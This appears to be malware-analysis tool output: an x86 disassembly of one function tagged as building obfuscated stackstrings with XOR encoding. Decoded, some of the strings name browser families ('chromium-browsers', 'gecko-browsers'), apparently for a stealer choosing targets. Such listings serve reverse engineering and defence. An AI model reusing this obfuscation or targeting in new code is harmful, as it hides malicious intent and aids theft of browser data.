Function at 0x41f712
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
sub esp, 0x60
push ebx
push ebp
push esi
xor ebx, ebx
mov word [esp + 0xc], 0x100e
push edi
mov byte [esp + 0x12], 4
mov edx, ebx
mov al, byte [esp + edx + 0x10]
xor al, 0x63
mov byte [esp + edx + 0x18], al
inc edx
cmp edx, 3
jl 0x41f729
mov byte [esp + 0x1b], bl
mov edx, ebx
mov dword [esp + 0x48], 0xccd1cbc0
mov dword [esp + 0x4c], 0xced6cace
mov dword [esp + 0x50], 0xccd1c18e
mov dword [esp + 0x54], 0xd1c6d0d4
mov byte [esp + 0x58], 0xd0
mov al, byte [esp + edx + 0x48]
xor al, 0xa3
mov byte [esp + edx + 0x5c], al
inc edx
cmp edx, 0x11
jl 0x41f764
mov byte [esp + 0x6d], bl
mov edx, ebx
mov dword [esp + 0x38], 0x6e666062
mov dword [esp + 0x3c], 0x7767286a
mov dword [esp + 0x40], 0x6076726a
mov word [esp + 0x44], 0x7677
mov al, byte [esp + edx + 0x38]
xor al, 5
mov byte [esp + edx + 0x48], al
inc edx
cmp edx, 0xe
jl 0x41f799
mov byte [esp + 0x56], bl
mov edx, ebx
mov dword [esp + 0x2c], 0xb3a2aeb3
mov dword [esp + 0x30], 0xb9bfa5b8
mov word [esp + 0x34], 0xa5b8
mov al, byte [esp + edx + 0x2c]
xor al, 0xd6
mov byte [esp + edx + 0x38], al
inc edx
cmp edx, 0xa
jl 0x41f7c6
mov byte [esp + 0x42], bl
mov edx, ebx
mov dword [esp + 0x24], 0x2c2c2137
mov word [esp + 0x28], 0x3425
mov byte [esp + 0x2a], 0x33
mov al, byte [esp + edx + 0x24]
add al, 0x40
mov byte [esp + edx + 0x2c], al
inc edx
cmp edx, 7
jl 0x41f7f0
mov byte [esp + 0x33], bl
mov edx, ebx
mov dword [esp + 0x10], 0x272e2b28
mov byte [esp + 0x14], 0x35
mov al, byte [esp + edx + 0x10]
add al, 0x3e
mov byte [esp + edx + 0x24], al
inc edx
cmp edx, 5
jl 0x41f813
mov byte [esp + 0x29], bl
mov edx, ebx
mov dword [esp + 0x10], 0xc4cdcec3
mov al, byte [esp + edx + 0x10]
sub al, 0x5f
mov byte [esp + edx + 0x1c], al
inc edx
cmp edx, 4
jl 0x41f831
movzx edi, word [0x42cabc]
mov esi, 0xeaaf
mov dx, word [str..CRT_XCAA]
add edi, 0xfc9fa3dd
mov byte [esp + 0x20], bl
movzx ebx, di
mov eax, ebx
mov dword [0x42cb2c], edi
or eax, 0xca3a
add eax, 0x56f
movzx ebp, ax
mov word [str.GCTL], ax
mov ax, dx
xor ax, si
movzx esi, ax
mov word [0x42cabc], ax
sub ecx, 0
je 0x41f995
sub ecx, 1
je 0x41f96a
sub ecx, 1
je 0x41f957
sub ecx, 1
je 0x41f936
sub ecx, 1
je 0x41f915
sub ecx, 1
je 0x41f8e2
movzx ecx, word [str..CRT_XCZ]
mov eax, 0x8a23
imul ecx, eax
imul eax, ebp, 0x46eb
mov word [str..CRT_XCZ], cx
mov word [str..CRT_XCAA], ax
xor eax, eax
jmp 0x41f9ae
movzx eax, word [str..CRT_XCZ]
lea edx, [esp + 0x1c]
and eax, 0xc6fdb0ee
mov dword [0x42cb2c], eax
mov eax, esi
or eax, 0x22ab
mov word [str..CRT_XCAA], ax
imul eax, esi, 0x6131
mov word [str..CRT_XCZ], ax
jmp 0x41f9a5
movzx eax, word [str..CRT_XCZ]
lea edx, [esp + 0x24]
and dword [0x42cab4], 0xe984dc0a
sub eax, 0x227fa47f
mov dword [0x42cb2c], eax
jmp 0x41f9a5
and edi, 0x58f50853
mov eax, 0x77d8
and dx, ax
mov dword [0x42cab4], edi
mov word [0x42cabc], dx
lea edx, [esp + 0x2c]
jmp 0x41f9a5
or esi, 0xf636
lea edx, [esp + 0x38]
mov word [0x42cabc], si
jmp 0x41f9a5
movzx ecx, word [str..CRT_XCZ]
mov eax, 0x2bf0
imul ecx, eax
mov eax, 0x7691
xor dx, ax
mov word [str..CRT_XCAA], dx
lea edx, [esp + 0x48]
mov word [0x42cabc], cx
jmp 0x41f9a5
lea eax, [ebx - 0x60fe]
mov word [str.GCTL], ax
lea edx, [esp + 0x5c]
lea ecx, [esp + 0x18]
call fcn.0041d833
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x60
ret